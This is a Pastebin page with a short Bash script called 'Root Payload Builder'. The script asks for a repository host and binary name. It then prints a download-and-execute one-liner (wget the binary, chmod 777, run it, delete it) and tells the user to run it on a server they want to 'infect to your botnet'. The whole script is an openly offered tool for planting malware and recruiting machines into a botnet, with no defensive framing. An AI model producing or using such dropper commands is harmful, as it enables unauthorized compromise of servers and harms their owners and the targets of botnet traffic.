Advertisement
Mars_The_Web_Surfer

Root Payload Builder

Feb 25th, 2020
358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.34 KB | None | 0 0
  1. #! /bin/bash
  2.  
  3. # chmod +x Root.sh
  4. # ./Root.sh
  5.  
  6. ORANGE=$'\e[38;5;214m'
  7. RED=$'\e[31m'
  8. NORMAL="\e[0m"
  9.  
  10. clear
  11.  
  12. echo -e "${RED}[${ORANGE}Root Payload Builder by Mars The Web Surfer${RED}]\n"
  13.  
  14. read -p "${ORANGE}What is the IP/domain of your binary repository${RED}?:${ORANGE} " REPOSITORY
  15.  
  16. read -p "${ORANGE}Do you have a directory for your binaries${RED}? (${ORANGE}Y${RED}/${ORANGE}N${RED}):${ORANGE} " ANSWER
  17.  
  18. case "$ANSWER" in
  19.     [yY])
  20.         read -p "${ORANGE}What is the name of your binaries directory${RED}?:${ORANGE} " DIRECTORY
  21.         read -p "${ORANGE}What is the name of your X86 binary${RED}?:${ORANGE} " BINARY
  22.         echo ""
  23.         echo -e "${ORANGE}Your root payload${RED}:${ORANGE} wget http://${REPOSITORY}/${DIRECTORY}/${BINARY}; chmod 777 ${BINARY}; ./${BINARY}; rm ${BINARY}"
  24.         echo -e "Save your root payload and run it on the server you want to infect to your botnet${RED}.${NORMAL}"
  25.         ;;
  26.     [nN])
  27.         read -p "${ORANGE}What is the name of your X86 binary${RED}?:${ORANGE} " BINARY
  28.         echo ""
  29.         echo -e "${ORANGE}Your root payload${RED}:${ORANGE} wget http://${REPOSITORY}/${BINARY}; chmod 777 ${BINARY}; ./${BINARY}; rm ${BINARY}"
  30.         echo -e "Save your root payload and run it on the server you want to infect to your botnet${RED}.${NORMAL}"
  31.         ;;
  32.     *)
  33.         echo -e "${ORANGE}Error${RED}:${ORANGE} invalid answer${RED}.${NORMAL}"
  34.         exit 1
  35.         ;;
  36. esac
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement